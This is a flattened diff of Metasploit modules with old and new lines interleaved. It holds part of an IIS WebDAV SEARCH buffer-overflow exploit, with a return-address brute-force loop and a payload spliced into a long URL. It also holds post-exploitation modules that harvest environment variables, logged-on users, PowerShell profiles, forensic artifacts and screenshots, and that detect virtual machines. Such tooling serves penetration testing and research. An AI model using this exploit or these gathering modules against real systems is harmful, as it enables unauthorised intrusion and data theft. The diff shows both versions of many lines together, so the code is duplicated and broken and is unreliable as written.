"\x4f\xc9", # Windows 2000 Server (SP0 DE / SP0 EN / SP0 FR / SP0 IT / SP0 NL / SP0 PT / SP1 EN / SP2 EN)
"\x4f\xca", # Windows 2000 Server (SP0 DE / SP0 EN / SP0 FR / SP0 IT / SP0 NL / SP0 PT / SP1 EN / SP2 EN)
"\x4f\xcb", # Windows 2000 Server (SP0 DE / SP0 EN / SP0 FR / SP0 IT / SP0 NL / SP0 PT / SP0 TR / SP1 EN / SP2 EN)
"\x4f\xcc", # Windows 2000 Server (SP0 DE / SP1 EN / SP2 EN)
"\x4f\xcd", # Windows 2000 Server (SP0 DE / SP0 EN / SP0 ES / SP0 FR / SP0 HU / SP0 IT / SP0 NL / SP0 PT / SP0 TR)
"\x4f\xce", # Windows 2000 Server (SP0 DE / SP0 EN / SP0 ES / SP0 FR / SP0 HU / SP0 IT / SP0 NL / SP0 PT / SP1 EN / SP2 EN)
"\x4f\xcf", # Windows 2000 Server (SP0 ES / SP0 TR / SP1 EN / SP2 EN)
"\x4f\x40",
"\x4f\x41",
"\x4f\x42", # Windows 2000 Server (SP0 DE / SP0 EN / SP0 FR / SP0 IT / SP0 NL / SP0 PT)
"\x4f\x43", # Windows 2000 Server (SP1 EN / SP2 EN / SP2 RU)
"\x4f\x44",
"\x4f\x45",
"\x4f\x46",
"\x4f\x47", # Windows 2000 Server (SP0 ES / SP0 HU / SP0 TR)
"\x4f\x48",
"\x4f\x49",
"\x4f\x4a",
"\x4f\x4b",
"\x4f\x4c",
"\x4f\x4d",
"\x4f\x4e", # Windows 2000 Server / Professional (SP3 Universal(?) + some Server SP0/SP1/SP2)
"\x4f\x4f",
"\x41\x40",
"\x41\x41",
"\x41\x42", # Windows 2000 Server (SP0 EN / SP0 FR / SP0 IT / SP0 NL / SP0 PT)
"\x41\x43", # Windows 2000 Server (SP1 EN / SP2 EN / SP2 RU)
"\x41\x44",
"\x41\x45",
"\x41\x46",
"\x41\x47", # Windows 2000 Server (SP0 ES / SP0 HU)
"\x41\x48", # Windows 2000 Server (SP1 SE)
"\x41\x49",
"\x41\x4a",
"\x41\x4b",
"\x41\x4c",
"\x41\x4d",
"\x41\x4e",
"\x41\x4f",
"\x41\xc0", # Windows 2000 Server (SP0 DE / SP0 EN / SP0 FR / SP0 IT / SP0 NL / SP0 PT)
"\x41\xc1", # Windows 2000 Server (SP0 DE / SP0 EN / SP0 FR / SP0 IT / SP0 NL / SP0 PT / SP1 EN / SP2 EN)
"\x41\xc2", # Windows 2000 Server (SP0 DE / SP0 EN / SP0 FR / SP0 IT / SP0 NL / SP0 PT / SP1 EN / SP2 EN)
"\x41\xc3", # Windows 2000 Server (SP1 EN / SP2 EN)
"\x41\xc4", # Windows 2000 Server (SP2 EN)
"\x41\xc5", # Windows 2000 Server (SP0 ES / SP0 TR)
"\x41\xc6", # Windows 2000 Server (SP0 ES / SP0 TR / SP1 SE)
"\x41\xc7", # Windows 2000 Server (SP0 ES / SP0 HU / SP0 TR / SP1 SE)
"\x41\xc8", # Windows 2000 Server (SP0 DE / SP0 EN / SP0 FR / SP0 IT / SP0 NL / SP0 PT / SP1 SE)
"\x41\xc9", # Windows 2000 Server (SP0 EN / SP0 FR / SP0 IT / SP0 NL / SP0 PT / SP1 EN / SP2 EN)
"\x41\xca", # Windows 2000 Server (SP0 DE / SP0 EN / SP0 FR / SP0 IT / SP0 NL / SP0 PT / SP1 EN / SP2 EN)
"\x41\xcb", # Windows 2000 Server (SP0 DE / SP0 EN / SP0 FR / SP0 IT / SP0 NL / SP0 PT / SP1 EN / SP2 EN)
"\x41\xcc", # Windows 2000 Server (SP0 DE / SP1 EN / SP2 EN)
"\x41\xcd", # Windows 2000 Server (SP0 DE / SP0 EN / SP0 ES / SP0 FR / SP0 IT / SP0 HU / SP0 NL / SP0 PT / SP0 TR)
"\x41\xce", # Windows 2000 Server (SP0 DE / SP0 EN / SP0 ES / SP0 FR / SP0 HU / SP0 IT / SP0 NL / SP0 PT / SP1 EN / SP1 SE / SP2 EN)
"\x41\xcf", # Windows 2000 Server (SP0 DE / SP0 ES / SP0 NL / SP0 TR / SP1 EN / SP1 SE / SP2 EN)
]
if datastore['InvalidSearchRequest']
xml = rand_text(rand(1024) + 32)
xml = rand_text(32..1056)
else
xml = "<?xml version=\"1.0\"?>\r\n"
xml << "<g:searchrequest xmlns:g=\"DAV:\">\r\n"
xml << "<g:sql>\r\n"
xml << "Select \"DAV:displayname\" from scope()\r\n"
xml << "</g:sql>\r\n"
xml << "</g:searchrequest>\r\n"
end
# The nop generator can be cpu-intensive for large buffers, so we use a static sled of 'A'
# This decodes to "inc ecx"
url = 'A' * (65_516 - payload.encoded.length)
url << payload.encoded
url = 'A' * 65516
url[ url.length - payload.encoded.length, payload.encoded.length ] = payload.encoded
offsets = common_offsets.concat(server_offsets).concat(pro_offsets).uniq
targets.each { |ret|
print_status("Trying return address 0x%.8x..." % Rex::Text.to_unicode(ret).unpack('V')[0])
url[ 283, 2 ] = ret
offsets.each_with_index do |ret, index|
print_status("Trying return address #{format('0x%.8x', Rex::Text.to_unicode(ret).unpack('V*').first)} (#{index + 1} / #{offsets.length})...")
url[283, 2] = ret
begin
send_request_cgi({
'uri' => '/' + url,
'ctype' => 'text/xml',
'method' => 'SEARCH',
'data' => xml
'uri' => "/#{url}",
'ctype' => 'text/xml',
'method' => 'SEARCH',
'data' => xml
}, 5)
handler
rescue => e
rescue StandardError => e
print_error("Attempt failed: #{e}")
end
1.upto(8) { |i|
select(nil,nil,nil,0.25)
return if self.session_created?
}
if !service_running?
print_error('Giving up, IIS must have completely crashed')
return
1.upto(8) do |_i|
select(nil, nil, nil, 0.25)
break if session_created?
end
}
break if session_created?
fail_with(Failure::Unreachable, 'Giving up, IIS must have completely crashed') unless service_running?
end
end
# Try connecting to the server up to 20 times, with a two second gap
# This gives the server time to recover after a failed exploit attempt
def service_running?
print_status('Checking if IIS is back up after a failed attempt...')
1.upto(20) {|i|
begin
send_request_raw({'uri' => '/'}, 5)
rescue
print_error("Connection failed (#{i} of 20)...")
select(nil,nil,nil,2)
next
end
return true
}
return false
1.upto(20) do |i|
break if session_created?
return true if send_request_raw({ 'uri' => '/' }, 5)
print_error("Connection failed (#{i} of 20)...")
select(nil, nil, nil, 2)
end
false
end
end
@@ -305,7 +305,7 @@ class MetasploitModule < Msf::Exploit::Local
end
def exec_schtasks(cmdline, purpose)
cmdline = "/c #{cmdline.strip} && echo SCHELEVATOR"
cmdline = "/c #{cmdline.strip}"
lns = cmd_exec('cmd.exe', cmdline)
success = false
+52 -29
View File
@@ -11,11 +11,16 @@ class MetasploitModule < Msf::Post
update_info(
info,
'Name' => 'Multi Gather Generic Operating System Environment Settings',
'Description' => %q{ This module prints out the operating system environment variables },
'Description' => %q{ This module prints out the operating system environment variables. },
'License' => MSF_LICENSE,
'Author' => [ 'Carlos Perez <carlos_perez[at]darkoperator.com>', 'egypt' ],
'Platform' => %w{linux win},
'SessionTypes' => [ 'shell', 'meterpreter' ],
'Platform' => %w[linux win unix],
'SessionTypes' => %w[powershell shell meterpreter],
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [],
'SideEffects' => []
},
'Compat' => {
'Meterpreter' => {
'Commands' => %w[
@@ -26,52 +31,70 @@ class MetasploitModule < Msf::Post
}
)
)
@ltype = 'generic.environment'
end
def run
case session.type
when "shell"
get_env_shell
when "meterpreter"
get_env_meterpreter
hostname = sysinfo.nil? ? cmd_exec('hostname') : sysinfo['Computer']
print_status("Running module against #{hostname} (#{session.session_host})")
output = case session.type
when 'shell'
get_env_shell
when 'powershell'
get_env_powershell
when 'meterpreter'
get_env_meterpreter
end
fail_with(Failure::Unknown, 'Could not retrieve environment variables') if output.blank?
if session.platform == 'windows'
ltype = 'windows.environment'
else
ltype = 'unix.environment'
end
store_loot(@ltype, "text/plain", session, @output) if @output
print_line @output if @output
print_line(output)
path = store_loot(ltype, 'text/plain', session, output)
print_good("Results saved to #{path}")
end
def get_env_shell
print_line @output if @output
if session.platform == 'windows'
@ltype = "windows.environment"
cmd = "set"
else
@ltype = "unix.environment"
cmd = "env"
cmd = session.platform == 'windows' ? 'set' : 'env'
cmd_exec(cmd)
end
def get_env_powershell
res = cmd_exec('Get-ChildItem Env: | ConvertTo-Csv')
output = []
csv = CSV.parse(res, skip_lines: /^#/, headers: true)
csv.each do |row|
output << "#{row['Key']}=#{row['Value']}"
end
@output = cmd_exec(cmd)
return output.join("\n")
end
def get_env_meterpreter
case session.platform
when 'windows'
var_names = []
var_names << registry_enumvals("HKEY_CURRENT_USER\\Volatile Environment")
var_names << registry_enumvals("HKEY_CURRENT_USER\\Environment")
var_names << registry_enumvals("HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Session Manager\\Environment")
output = []
var_names << registry_enumvals('HKEY_CURRENT_USER\\Volatile Environment')
var_names << registry_enumvals('HKEY_CURRENT_USER\\Environment')
var_names << registry_enumvals('HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Session Manager\\Environment')
var_names.delete(nil)
output = []
session.sys.config.getenvs(*var_names.flatten.uniq.sort).each do |k, v|
output << "#{k}=#{v}"
end
@output = output.join("\n")
@ltype = "windows.environment"
return output.join("\n")
else
# Don't know what it is, hope it's unix
print_status sysinfo["OS"]
chan = session.sys.process.execute("/bin/sh", "-c env", { "Channelized" => true })
@output = chan.read
@ltype = "unix.environment"
print_status("Executing 'env' on #{sysinfo['OS']}")
chan = session.sys.process.execute('/bin/sh', '-c env', { 'Channelized' => true })
return chan.read
end
end
end
+1 -1
View File
@@ -185,7 +185,7 @@ class MetasploitModule < Msf::Post
end
end
rescue => e
print_error "Could not parse sudo ouput: #{e.message}"
print_error "Could not parse sudo output: #{e.message}"
end
def run
+20 -31
View File
@@ -60,13 +60,14 @@ class MetasploitModule < Msf::Post
return true if registry_getvaldata('HKLM\HARDWARE\DESCRIPTION\System', 'SystemBiosVersion') =~ /vrtual/i
srvvals = registry_enumkeys('HKLM\HARDWARE\ACPI\FADT')
return true if srvvals && srvvals.include?('VRTUAL')
%w[HKLM\HARDWARE\ACPI\FADT HKLM\HARDWARE\ACPI\RSDT].each do |key|
srvvals = registry_enumkeys(key)
return true if srvvals && srvvals.include?('VRTUAL')
end
srvvals = registry_enumkeys('HKLM\HARDWARE\ACPI\RSDT')
return true if srvvals && srvvals.include?('VRTUAL')
return true if service_exists?('vmicexchange')
%w[vmicexchange vmicheartbeat vmicshutdown vmicvss].each do |service|
return true if service_exists?(service)
end
key_path = 'HKLM\HARDWARE\DESCRIPTION\System'
system_bios_version = registry_getvaldata(key_path, 'SystemBiosVersion')
@@ -100,7 +101,7 @@ class MetasploitModule < Msf::Post
end
def virtualpc?
%w[vpc-s3 vpcuhub msvmmouf].each do |service|
%w[vpc-s3 vpcbus vpcuhub msvmmouf].each do |service|
return true if service_exists?(service)
end
@@ -128,14 +129,10 @@ class MetasploitModule < Msf::Post
end
end
srvvals = registry_enumkeys('HKLM\HARDWARE\ACPI\DSDT')
return true if srvvals && srvvals.include?('VBOX__')
srvvals = registry_enumkeys('HKLM\HARDWARE\ACPI\FADT')
return true if srvvals && srvvals.include?('VBOX__')
srvvals = registry_enumkeys('HKLM\HARDWARE\ACPI\RSDT')
return true if srvvals && srvvals.include?('VBOX__')
%w[HKLM\HARDWARE\ACPI\DSDT HKLM\HARDWARE\ACPI\FADT HKLM\HARDWARE\ACPI\RSDT].each do |key|
srvvals = registry_enumkeys(key)
return true if srvvals && srvvals.include?('VBOX__')
end
key_path = 'HKLM\HARDWARE\DEVICEMAP\Scsi\Scsi Port 0\Scsi Bus 0\Target Id 0\Logical Unit Id 0'
return true if registry_getvaldata(key_path, 'Identifier') =~ /vbox/i
@@ -159,14 +156,10 @@ class MetasploitModule < Msf::Post
end
end
srvvals = registry_enumkeys('HKLM\HARDWARE\ACPI\DSDT')
return true if srvvals && srvvals.include?('Xen')
srvvals = registry_enumkeys('HKLM\HARDWARE\ACPI\FADT')
return true if srvvals && srvvals.include?('Xen')
srvvals = registry_enumkeys('HKLM\HARDWARE\ACPI\RSDT')
return true if srvvals && srvvals.include?('Xen')
%w[HKLM\HARDWARE\ACPI\DSDT HKLM\HARDWARE\ACPI\FADT HKLM\HARDWARE\ACPI\RSDT].each do |key|
srvvals = registry_enumkeys(key)
return true if srvvals && srvvals.include?('Xen')
end
%w[xenevtchn xennet xennet6 xensvc xenvdb].each do |service|
return true if service_exists?(service)
@@ -182,14 +175,10 @@ class MetasploitModule < Msf::Post
key_path = 'HKLM\HARDWARE\DESCRIPTION\System\CentralProcessor\0'
return true if registry_getvaldata(key_path, 'ProcessorNameString') =~ /qemu/i
srvvals = registry_enumkeys('HKLM\HARDWARE\ACPI\DSDT')
return true if srvvals && srvvals.include?('BOCHS_')
srvvals = registry_enumkeys('HKLM\HARDWARE\ACPI\FADT')
return true if srvvals && srvvals.include?('BOCHS_')
srvvals = registry_enumkeys('HKLM\HARDWARE\ACPI\RSDT')
return true if srvvals && srvvals.include?('BOCHS_')
%w[HKLM\HARDWARE\ACPI\DSDT HKLM\HARDWARE\ACPI\FADT HKLM\HARDWARE\ACPI\RSDT].each do |key|
srvvals = registry_enumkeys(key)
return true if srvvals && srvvals.include?('BOCHS_')
end
false
end
+80 -60
View File
@@ -10,86 +10,106 @@ class MetasploitModule < Msf::Post
include Msf::Post::File
include Msf::Post::Windows::Registry
def initialize(info={})
super( update_info( info,
'Name' => 'Windows Gather File and Registry Artifacts Enumeration',
'Description' => %q{
This module will check the file system and registry for particular artifacts. The
list of artifacts is read from data/post/enum_artifacts_list.txt or a user specified file. Any
matches are written to the loot. },
'License' => MSF_LICENSE,
'Author' => [ 'averagesecurityguy <stephen[at]averagesecurityguy.info>' ],
'Platform' => [ 'win' ],
'SessionTypes' => [ 'meterpreter' ]
))
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Windows Gather File and Registry Artifacts Enumeration',
'Description' => %q{
This module will check the file system and registry for particular artifacts.
register_options(
[
OptPath.new( 'ARTIFACTS',
[
true,
'Full path to artifacts file.',
::File.join(Msf::Config.data_directory, 'post', 'enum_artifacts_list.txt')
])
])
The list of artifacts is read in YAML format from data/post/enum_artifacts_list.txt
or a user specified file. Any matches are written to the loot.
},
'License' => MSF_LICENSE,
'Author' => [ 'averagesecurityguy <stephen[at]averagesecurityguy.info>' ],
'Platform' => [ 'win' ],
'SessionTypes' => %w[shell powershell meterpreter],
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [],
'SideEffects' => []
}
)
)
register_options([
OptPath.new(
'ARTIFACTS',
[
true,
'Full path to artifacts file.',
::File.join(Msf::Config.data_directory, 'post', 'enum_artifacts_list.txt')
]
)
])
end
def run
# Store any found artifacts so they can be written to loot
evidence = {}
# Load artifacts from yaml file. Artifacts are organized by what they are evidence of.
begin
yaml = YAML.load_file(datastore['ARTIFACTS'])
raise 'File is not valid YAML' unless yaml.instance_of?(Hash)
rescue StandardError => e
fail_with(Failure::BadConfig, "Could not load artifacts YAML file '#{datastore['ARTIFACTS']}' : #{e.message}")
end
loot_data = ''
# Load artifacts from yaml file. Artifacts are organized by what they
# are evidence of.
yaml = YAML::load_file(datastore['ARTIFACTS'])
yaml.each_key do |key|
print_status("Searching for artifacts of #{key}")
files = yaml[key]['files']
regs = yaml[key]['reg_entries']
found = []
artifacts = []
# Process file entries
vprint_status("Processing #{files.length.to_s} file entries for #{key}.")
files = yaml[key]['files']
vprint_status("Processing #{files.length} file entries for #{key} ...")
files.each do |file|
digest = file_remote_digestmd5(file['name'])
# if the file doesn't exist then digest will be nil
next if digest == nil
if digest == file['csum'] then found << file['name'] end
end
fname = file['name']
csum = file['csum']
# Process registry entries
vprint_status("Processing #{regs.length.to_s} registry entries for #{key}.")
regs.each do |reg|
rdata = registry_getvaldata(reg['key'], reg['val'])
if rdata.to_s == reg['data']
found << reg['key'] + '\\' + reg['val']
digest = file_remote_digestmd5(fname)
if digest == csum
artifacts << fname
end
end
# Did we find anything? If so store it in the evidence hash to be
# saved in the loot.
if found.empty?
# Process registry entries
regs = yaml[key]['reg_entries']
vprint_status("Processing #{regs.length} registry entries for #{key} ...")
regs.each do |reg|
k = reg['key']
v = reg['val']
rdata = registry_getvaldata(k, v)
if rdata.to_s == reg['data']
artifacts << "#{k}\\#{v}"
end
end
# Process matches
if artifacts.empty?
print_status("No artifacts of #{key} found.")
else
print_status("Artifacts of #{key} found.")
evidence[key] = found
next
end
print_status("Artifacts of #{key} found.")
loot_data << "Evidence of #{key} found.\n"
loot_data << artifacts.map { |a| "\t#{a}\n" }.join
end
save(evidence, "Enumerated Artifacts")
end
return if loot_data.blank?
def save(data, name)
str = ""
data.each_pair do |key, val|
str << "Evidence of #{key} found.\n"
val.each do |v|
str << "\t" + v + "\n"
end
end
vprint_line(loot_data)
f = store_loot('enumerated.artifacts', 'text/plain', session, str, name)
print_good("#{name} stored in: #{f}")
loot_name = 'Enumerated Artifacts'
f = store_loot(
loot_name.downcase.split.join('.'),
'text/plain',
session,
loot_data,
loot_name
)
print_good("#{loot_name} stored in: #{f}")
end
end
@@ -4,85 +4,122 @@
##
class MetasploitModule < Msf::Post
include Msf::Post::Windows::Registry
include Msf::Post::Windows::Accounts
include Msf::Post::Windows::Registry
include Msf::Post::Windows::UserProfiles
def initialize(info={})
super( update_info( info,
'Name' => 'Windows Gather Logged On User Enumeration (Registry)',
'Description' => %q{ This module will enumerate current and recently logged on Windows users},
'License' => MSF_LICENSE,
'Author' => [ 'Carlos Perez <carlos_perez[at]darkoperator.com>'],
'Platform' => [ 'win' ],
'SessionTypes' => [ 'meterpreter' ]
))
register_options(
[
OptBool.new('CURRENT', [ true, 'Enumerate currently logged on users', true]),
OptBool.new('RECENT' , [ true, 'Enumerate Recently logged on users' , true])
])
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Windows Gather Logged On User Enumeration (Registry)',
'Description' => %q{ This module will enumerate current and recently logged on Windows users. },
'License' => MSF_LICENSE,
'Author' => [ 'Carlos Perez <carlos_perez[at]darkoperator.com>'],
'Platform' => [ 'win' ],
'SessionTypes' => %w[powershell shell meterpreter],
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [],
'SideEffects' => []
},
'Compat' => {
'Meterpreter' => {
'Commands' => %w[
stdapi_railgun_api
]
}
}
)
)
register_options([
OptBool.new('CURRENT', [ true, 'Enumerate currently logged on users', true]),
OptBool.new('RECENT', [ true, 'Enumerate recently logged on users', true])
])
end
def ls_logged
sids = []
sids << registry_enumkeys("HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\ProfileList")
def list_recently_logged_on_users
tbl = Rex::Text::Table.new(
'Header' => "Recently Logged Users",
'Indent' => 1,
'Header' => 'Recently Logged Users',
'Indent' => 1,
'Columns' =>
[
"SID",
"Profile Path"
])
sids.flatten.map do |sid|
profile_path = registry_getvaldata("HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\ProfileList\\#{sid}","ProfileImagePath")
tbl << [sid,profile_path]
'SID',
'Profile Path'
]
)
profiles = read_profile_list(user_accounts_only: false)
return if profiles.blank?
profiles.each do |profile|
tbl << [
profile['SID'],
profile['PROF']
]
end
print_line("\n" + tbl.to_s + "\n")
store_loot("host.users.recent", "text/plain", session, tbl.to_s, "recent_users.txt", "Recent Users")
return if tbl.rows.empty?
print_line("\n#{tbl}\n")
p = store_loot('host.users.recent', 'text/plain', session, tbl.to_s, 'recent_users.txt', 'Recent Users')
print_good("Results saved in: #{p}")
end
def list_currently_logged_on_users
return unless session.type == 'meterpreter'
def ls_current
key_base, username = "",""
tbl = Rex::Text::Table.new(
'Header' => "Current Logged Users",
'Indent' => 1,
'Header' => 'Current Logged Users',
'Indent' => 1,
'Columns' =>
[
"SID",
"User"
])
registry_enumkeys("HKU").each do |maybe_sid|
# There is junk like .DEFAULT we want to avoid
if maybe_sid =~ /^S(?:-\d+){2,}$/
info = resolve_sid(maybe_sid)
'SID',
'User'
]
)
keys = registry_enumkeys('HKU')
if !info.nil? && info[:type] == :user
username = info[:domain] << '\\' << info[:name]
return unless keys
tbl << [maybe_sid,username]
end
end
keys.each do |maybe_sid|
next unless maybe_sid.starts_with?('S-1-5-21-')
next if maybe_sid.ends_with?('_Classes')
info = resolve_sid(maybe_sid)
next if info.nil?
name = info[:name]
domain = info[:domain]
next if domain.blank? || name.blank?
tbl << [maybe_sid, "#{domain}\\#{name}"]
end
print_line("\n" + tbl.to_s + "\n")
p = store_loot("host.users.active", "text/plain", session, tbl.to_s, "active_users.txt", "Active Users")
return if tbl.rows.empty?
print_line("\n#{tbl}\n")
p = store_loot('host.users.active', 'text/plain', session, tbl.to_s, 'active_users.txt', 'Active Users')
print_good("Results saved in: #{p}")
end
def run
print_status("Running against session #{datastore['SESSION']}")
hostname = sysinfo.nil? ? cmd_exec('hostname') : sysinfo['Computer']
print_status("Running module against #{hostname} (#{session.session_host})")
if datastore['CURRENT']
ls_current
if session.type == 'meterpreter'
list_currently_logged_on_users
else
print_error("Incompatible session type '#{session.type}'. Can not retrieve list of currently logged in users.")
end
end
if datastore['RECENT']
ls_logged
list_recently_logged_on_users
end
end
end
@@ -4,19 +4,29 @@
##
class MetasploitModule < Msf::Post
include Msf::Post::Windows::Registry
include Msf::Post::File
include Msf::Post::Windows::Priv
include Msf::Post::Windows::Registry
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Windows Gather Powershell Environment Setting Enumeration',
'Description' => %q{ This module will enumerate Microsoft Powershell settings },
'Name' => 'Windows Gather PowerShell Environment Setting Enumeration',
'Description' => %q{ This module will enumerate Microsoft PowerShell settings. },
'License' => MSF_LICENSE,
'Author' => [ 'Carlos Perez <carlos_perez[at]darkoperator.com>'],
'Platform' => [ 'win' ],
'SessionTypes' => [ 'meterpreter' ],
'References' => [
['URL', 'https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_execution_policies'],
['URL', 'https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_profiles'],
],
'SessionTypes' => %w[meterpreter shell powershell],
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [],
'SideEffects' => []
},
'Compat' => {
'Meterpreter' => {
'Commands' => %w[
@@ -33,114 +43,163 @@ class MetasploitModule < Msf::Post
)
end
#-----------------------------------------------------------------------
def enum_users
os = sysinfo['OS']
users = []
user = session.sys.config.getuid
path4users = ""
env_vars = session.sys.config.getenvs('SystemDrive', 'USERNAME')
sysdrv = env_vars['SystemDrive']
if os =~ /XP|2003/
path4users = sysdrv + "\\Documents and Settings\\"
profilepath = "\\My Documents\\WindowsPowerShell\\"
system_drive = get_env('SystemDrive').to_s.strip
path4users = ''
if directory?("#{system_drive}\\Users")
path4users = "#{system_drive}\\Users\\"
profilepath = '\\Documents\\WindowsPowerShell\\'
elsif directory?("#{system_drive}\\Documents and Settings")
path4users = "#{system_drive}\\Documents and Settings\\"
profilepath = '\\My Documents\\WindowsPowerShell\\'
else
path4users = sysdrv + "\\Users\\"
profilepath = "\\Documents\\WindowsPowerShell\\"
print_error('Could not find user profile directories')
return []
end
if is_system?
print_status("Running as SYSTEM extracting user list..")
session.fs.dir.foreach(path4users) do |u|
userinfo = {}
next if u =~ /^(\.|\.\.|All Users|Default|Default User|Public|desktop.ini|LocalService|NetworkService)$/
if is_system? || is_admin?
print_status('Running with elevated privileges. Extracting user list ...')
paths = begin
dir(path4users)
rescue StandardError
[]
end
userinfo['username'] = u
userinfo['userappdata'] = path4users + u + profilepath
users << userinfo
ignored = [
'.',
'..',
'All Users',
'Default',
'Default User',
'Public',
'desktop.ini',
'LocalService',
'NetworkService'
]
paths.reject { |p| ignored.include?(p) }.each do |u|
users << {
'username' => u,
'userappdata' => path4users + u + profilepath
}
end
else
userinfo = {}
uservar = env_vars['USERNAME']
userinfo['username'] = uservar
userinfo['userappdata'] = path4users + uservar + profilepath
users << userinfo
u = get_env('USERNAME')
users << {
'username' => u,
'userappdata' => path4users + u + profilepath
}
end
return users
users
end
def enum_powershell_modules
powershell_module_path = get_env('PSModulePath')
return [] unless powershell_module_path
paths = powershell_module_path.split(';')
print_status('PowerShell Modules paths:')
modules = []
paths.each do |p|
print_status("\t#{p}")
path_contents = begin
dir(p)
rescue StandardError
[]
end
path_contents.reject { |m| ['.', '..'].include?(m) }.each do |m|
modules << m
end
end
modules
end
#-----------------------------------------------------------------------
def enum_powershell
# Check if PowerShell is Installed
if registry_enumkeys("HKLM\\SOFTWARE\\Microsoft\\").include?("PowerShell")
print_status("Powershell is Installed on this system.")
powershell_version = registry_getvaldata("HKLM\\SOFTWARE\\Microsoft\\PowerShell\\1\\PowerShellEngine", "PowerShellVersion")
print_status("Version: #{powershell_version}")
# Get PowerShell Execution Policy
begin
powershell_policy = registry_getvaldata("HKLM\\SOFTWARE\\Microsoft\\PowerShell\\1\\ShellIds\\Microsoft.PowerShell", "ExecutionPolicy")
rescue
powershell_policy = "Restricted"
end
print_status("Execution Policy: #{powershell_policy}")
powershell_path = registry_getvaldata("HKLM\\SOFTWARE\\Microsoft\\PowerShell\\1\\ShellIds\\Microsoft.PowerShell", "Path")
print_status("Path: #{powershell_path}")
if registry_enumkeys("HKLM\\SOFTWARE\\Microsoft\\PowerShell\\1").include?("PowerShellSnapIns")
print_status("Powershell Snap-Ins:")
registry_enumkeys("HKLM\\SOFTWARE\\Microsoft\\PowerShell\\1\\PowerShellSnapIns").each do |si|
print_status("\tSnap-In: #{si}")
registry_enumvals("HKLM\\SOFTWARE\\Microsoft\\PowerShell\\1\\PowerShellSnapIns\\#{si}").each do |v|
print_status("\t\t#{v}: #{registry_getvaldata("HKLM\\SOFTWARE\\Microsoft\\PowerShell\\1\\PowerShellSnapIns\\#{si}", v)}")
end
end
else
print_status("No PowerShell Snap-Ins are installed")
unless registry_enumkeys('HKLM\\SOFTWARE\\Microsoft').include?('PowerShell')
print_error('PowerShell is not installed on this system.')
return
end
end
if powershell_version =~ /2./
print_status("Powershell Modules:")
powershell_module_path = session.sys.config.getenv('PSModulePath')
session.fs.dir.foreach(powershell_module_path) do |m|
next if m =~ /^(\.|\.\.)$/
print_status('PowerShell is installed on this system.')
print_status("\t#{m}")
powershell_version = registry_getvaldata('HKLM\\SOFTWARE\\Microsoft\\PowerShell\\1\\PowerShellEngine', 'PowerShellVersion')
print_status("Version: #{powershell_version}")
powershell_policy = begin
registry_getvaldata('HKLM\\SOFTWARE\\Microsoft\\PowerShell\\1\\ShellIds\\Microsoft.PowerShell', 'ExecutionPolicy')
rescue StandardError
'Restricted'
end
print_status("Execution Policy: #{powershell_policy}")
powershell_path = registry_getvaldata('HKLM\\SOFTWARE\\Microsoft\\PowerShell\\1\\ShellIds\\Microsoft.PowerShell', 'Path')
print_status("Path: #{powershell_path}")
if registry_enumkeys('HKLM\\SOFTWARE\\Microsoft\\PowerShell\\1').include?('PowerShellSnapIns')
print_status('PowerShell Snap-Ins:')
registry_enumkeys('HKLM\\SOFTWARE\\Microsoft\\PowerShell\\1\\PowerShellSnapIns').each do |si|
print_status("\tSnap-In: #{si}")
registry_enumvals("HKLM\\SOFTWARE\\Microsoft\\PowerShell\\1\\PowerShellSnapIns\\#{si}").each do |v|
print_status("\t\t#{v}: #{registry_getvaldata("HKLM\\SOFTWARE\\Microsoft\\PowerShell\\1\\PowerShellSnapIns\\#{si}", v)}")
end
end
tmpout = []
print_status("Checking if users have Powershell profiles")
enum_users.each do |u|
print_status("Checking #{u['username']}")
begin
session.fs.dir.foreach(u["userappdata"]) do |p|
next if p =~ /^(\.|\.\.)$/
else
print_status('No PowerShell Snap-Ins are installed')
end
if p =~ /Microsoft.PowerShell_profile.ps1/
ps_profile = session.fs.file.new("#{u["userappdata"]}Microsoft.PowerShell_profile.ps1", "rb")
until ps_profile.eof?
tmpout << ps_profile.read
end
ps_profile.close
if tmpout.length == 1
print_status("Profile for #{u["username"]} not empty, it contains:")
tmpout.each do |l|
print_status("\t#{l.strip}")
end
end
end
end
rescue
end
modules = enum_powershell_modules
if modules && !modules.empty?
print_status('PowerShell Modules:')
modules.each do |m|
print_status("\t#{m}")
end
else
print_status('No PowerShell Modules are installed')
end
profile_file_names = [
'profile.ps1',
'Microsoft.PowerShell_profile.ps1',
'Microsoft.VSCode_profile.ps1',
]
print_status('Checking if users have PowerShell profiles')
enum_users.each do |u|
print_status("Checking #{u['username']}")
app_data_contents = begin
dir(u['userappdata'])
rescue StandardError
[]
end
app_data_contents.map!(&:downcase)
profile_file_names.each do |profile_file|
next unless app_data_contents.include?(profile_file.downcase)
fname = "#{u['userappdata']}#{profile_file}"
ps_profile = begin
read_file(fname)
rescue StandardError
nil
end
next unless ps_profile
print_status("Found PowerShell profile '#{fname}' for #{u['username']}:")
print_line(ps_profile.to_s)
end
end
end
#-----------------------------------------------------------------------
# Run Method
def run
print_status("Running module against #{sysinfo['Computer']}")
hostname = sysinfo.nil? ? cmd_exec('hostname') : sysinfo['Computer']
print_status("Running module against #{hostname} (#{session.session_host})")
enum_powershell
end
end
+1 -1
View File
@@ -62,7 +62,7 @@ class MetasploitModule < Msf::Post
def run
host = session.session_host
screenshot = Msf::Config.get_config_root + '/logs/' + host + '.jpg'
screenshot = Msf::Config.config_directory + '/logs/' + host + '.jpg'
# If no PID is specified, don't migrate.
if datastore['PID'] != ''
+66 -52
View File
@@ -31,6 +31,11 @@ class MetasploitModule < Msf::Post
],
'Platform' => [ 'win' ],
'SessionTypes' => [ 'meterpreter' ],
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [],
'SideEffects' => []
},
'Compat' => {
'Meterpreter' => {
'Commands' => %w[
